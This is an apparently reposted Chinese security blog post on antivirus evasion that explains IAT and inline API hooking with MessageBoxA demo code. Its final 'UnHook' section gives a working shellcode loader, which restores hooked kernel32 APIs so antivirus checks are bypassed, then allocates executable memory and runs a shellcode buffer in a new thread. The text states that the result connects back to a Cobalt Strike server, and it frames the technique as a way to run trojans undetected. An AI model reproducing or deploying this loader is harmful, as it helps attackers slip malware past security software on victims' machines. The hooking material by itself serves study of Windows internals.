一、Hook
Hook 说明:运行程序时杀软会检查敏感的 API 函数,如 OpenProcess、VirtualAllocEx、WriteProcessMemory 等。杀软常用的方式是在程序加载 API 前 jmp 跳转到杀软的检查代码地址,检查即将要调用的系统 API 是否为危险函数,是危险函数就阻断,否则 jmp 回程序原来顺序执行的地址,这个 jmp 检测过程就是 hook 过程。
1. IATHook
IATHOOK 的基本原理是通过修改导入地址表中的函数地址,将原始函数地址替换为自定义的函数地址。这样,在程序调用原始函数时,实际上会执行被替换的自定义函数,从而实现对目标函数的拦截和修改。
IATHook 实现过程:
-
获取目标模块的基址:根据目标函数的模块名称或函数地址,可以通过 Windows API 函数如 GetModuleHandle 或 LoadLibrary 来获取目标模块的基址。
-
获取导入地址表(IAT):通过解析目标模块的导入描述符表(Import Descriptor Table),可以获得导入地址表的位置。
-
修改导入地址表:将目标函数的地址替换为自定义函数的地址,即进行钩子操作。可以使用 VirtualProtect 函数来修改内存页面的访问权限,确保可以写入。
-
自定义函数的实现:编写自定义函数的代码,用于替代原始函数的功能。在自定义函数中,可以执行一些额外的操作,如记录日志、修改参数、阻止函数调用等。
-
调用原始函数:在自定义函数中,如果需要调用原始函数,可以通过函数指针来调用被替换的原始函数。
IATHook 实现测试代码:
//创建函数指针
typedef int (WINAPI* PfnMsgA)(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType);
//定义函数指针
PfnMsgA g_OldPfnMsgA = nullptr;
//自己定义的hook函数
int WINAPI MyMessageBox(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType)
{
char szHookText[] = "成功hook到检查函数";
if (g_OldPfnMsgA != nullptr)
{
//调用前的函数指针
return g_OldPfnMsgA(hWnd, szHookText, lpCaption, uType);
}
return 0;
}
//hook函数
void SetIatHook()
{
PVOID pHookAddress = nullptr;
//指定要HOOK的函数MessageBoxA
pHookAddress = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
if (nullptr == pHookAddress)
{
OutputDebugString(TEXT("获取函数地址失败"));
return;
}
//保存旧的函数指针
g_OldPfnMsgA = (PfnMsgA)pHookAddress;
//解析PE头,寻找IAT
HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
//寻找导出表的位置
DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
//定位到导出表
dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport;
DWORD* pFirstThunk; //导入表子表,也就是IAT存储函数地址的表
//遍历导入表
while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
{
dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); //找到导入表
pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
while (*(DWORD*)pFirstThunk != NULL)
{
//遍历子表
if (*(DWORD*)pFirstThunk == (DWORD)g_OldPfnMsgA)
{
//找到要修改的导入表,修改内存保护属性,写入自己的函数地址
DWORD oldProtected;
VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
dwTemp = (DWORD)MyMessageBox;
memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
//四字节长度的地址
VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
}
pFirstThunk++; //继续遍历
}
pCurrent++; //每次是加一个导入表结构
}
}
//取消hook函数,遍历导入表后恢复导入表
void UnIatHook()
{
PVOID pHookAddress = nullptr;
//取消hook到MyMessageBox函数
pHookAddress = MyMessageBox;
if (nullptr == pHookAddress)
{
OutputDebugString(TEXT("恢复函数地址失败"));
return;
}
//解析PE头,寻找IAT
HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase
PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头
DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew;
PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp;
PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader;
PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
//寻找导出表的位置
DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移
//定位到导出表
dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal;
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp;
PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport;
DWORD* pFirstThunk; //导入表子表
//遍历导入表
while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL)
{
dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL);
pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表
while (*(DWORD*)pFirstThunk != NULL)
{
//遍历子表
if (*(DWORD*)pFirstThunk == (DWORD)MyMessageBox) //如果是自己的函数地址,则进行恢复
{
//找到要修改的导入表,修改内存保护属性,写入自己的函数地址
DWORD oldProtected;
VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected);
dwTemp = (DWORD)g_OldPfnMsgA;
memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中
VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected);
}
pFirstThunk++; //继续遍历
}
pCurrent++; //每次是加一个导入表结构
}
}
void main()
{
MessageBoxA(NULL, "hook测试", "标题", MB_OK);
SetIatHook(); //调用hook
MessageBoxA(NULL, "hook测试", "标题", MB_OK);
UnIatHook(); //取消hook
MessageBoxA(NULL, "hook测试", "标题", MB_OK);
}
IATHook 实现测试运行:
调用hook前,调用MessageBoxA函数正常输出内容。
调用hook后,再调用MessageBoxA函数输出内容被修改。
取消hook后,再调用MessageBoxA函数输出内容恢复正常。
2. InlineHook
InlineHook(内联钩子)是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码,将目标函数的执行路径重定向到自定义的代码段,从而实现对目标函数的拦截和修改。
InlineHook 内联钩子的实现有以下步骤:
-
定位目标函数的地址:通过函数名或者导入表等方式找到目标函数在内存中的地址。
-
修改目标函数的内存权限:将目标函数的内存权限修改为可写可执行,以便后续修改函数的指令。
-
备份目标函数的原始指令:将目标函数的原始指令备份到自定义的缓冲区中。
-
修改目标函数的指令:将目标函数的指令修改为跳转到自定义代码的指令,以实现拦截和修改。
-
编写自定义代码:编写自定义的代码,实现对目标函数的拦截和修改逻辑。
-
执行自定义代码:将自定义的代码插入到目标函数的执行流程中,使其被调用时执行自定义逻辑。
-
恢复目标函数的原始指令:在自定义代码执行完毕后,恢复目标函数的原始指令,以确保目标函数的正常执行。
InlineHook测试dll代码:
//定义函数地址变量和新旧比特数
PROC m_FunAddress;
BYTE m_OldBytes[5];
BYTE m_NewBytes[5];
BOOL Hook(const char* pszModuleName, const char* pszFuncName, PROC pfnHookFunc)
{
//获取指定模块中指定函数的地址
m_FunAddress = (PROC)GetProcAddress(GetModuleHandleA(pszModuleName), pszFuncName);
if (m_FunAddress == NULL)
{
return false;
}
//保存函数的头五个字节
DWORD dwRet = 0;
ReadProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
//构造Jmp指令
//jmp Address
m_NewBytes[0] = 'xE9';
*(DWORD*)(m_NewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_FunAddress - 5;
//写5字节
WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
return true;
}
//取消hook函数
VOID UnHook()
{
if (m_FunAddress != 0)
{
DWORD dwRet = 0;
WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);
}
}
//重新hook函数
BOOL ReHook()
{
if (m_FunAddress != 0)
{
DWORD dwRet = 0;
WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);
}
return true;
}
//自定义函数MyMessageBoxA
int
WINAPI MyMessageBoxA(
_In_opt_ HWND hWnd,
_In_opt_ LPCSTR lpText,
_In_opt_ LPCSTR lpCaption,
_In_ UINT uType)
{
UnHook();
int nRet = MessageBoxA(hWnd, "InlineHook 成功!", "标题", uType);
ReHook();
return nRet;
}
//dll主函数
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
m_FunAddress = NULL;
memset(m_OldBytes, 0, 5);
memset(m_NewBytes, 0, 5);
//hook系统user32.dll里面的MessageBoxA到自定义函数MyMessageBoxA
Hook("user32.dll", "MessageBoxA", (PROC)MyMessageBoxA);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
}
InlineHook测试C++代码:
void main() {
MessageBoxA(NULL, "Hook 测试", "标题", NULL);
LoadLibraryA("Dll1.dll"); //调用hook的dll文件
MessageBoxA(NULL, "Hook 测试", "标题", NULL);
}
分别生成dll文件和exe文件,放在同一目录下执行,效果如下:
调用hook前,MessageBoxA函数正常输出内容。
调用hook后,MessageBoxA函数内容被修改输出。
二、UnHook
反Hook说明:hook叫上钩,unhook叫脱钩。当运行木马时杀软会跳转程序到检查恶意API的函数里面,这时调用的恶意API是属于hook上钩状态,反Hook就是需要使恶意API复原为脱钩状态,脱钩后再调用。
unhook脱钩加载shellcode代码:
using namespace std;
//隐藏黑框
//shellcode变量
unsigned char buf[] = "";
//unhook函数,传入要脱钩的api
void unhookAPI(const char* functionName) {
//加载unhook脱钩api的dll文件
HMODULE lib = LoadLibrary("C:\Windows\System32\kernel32.dll");
BYTE assemblyBytes[5] = {};
if (lib) {
void* fa = GetProcAddress(lib, functionName);
if (fa) {
BYTE* read = (BYTE*)fa;
for (int i = 0; i < 5; i++) {
assemblyBytes[i] = read[i];
}
//复写传入的api函数
WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle("kernel32.dll"), functionName), (LPCVOID)assemblyBytes, 5, NULL);
FreeLibrary(lib);
printf("Unhook %s Succeed!n", functionName);
}
else
printf("Function not found!n");
}
else
printf("Error loading library!n");
}
int main() {
//unhook脱钩,将被hook的函数复原
unhookAPI("VirtualAlloc");
unhookAPI("RtlMoveMemory");
unhookAPI("CreateThread");
unhookAPI("WaitForSingleObject");
//申请一段虚拟内存空间
LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//移动shellcode内容到内存
RtlMoveMemory(add, buf, sizeof(buf));
//通过创建新线程的方式运行内容
HANDLE hand = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, NULL, NULL, NULL);
//等待结束
WaitForSingleObject(hand, INFINITE);
return 0;
}
生成exe运行,上线CS服务端:
原文始发于微信公众号(ZackSecurity):【杀软对抗】Hook与UnHook基础
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论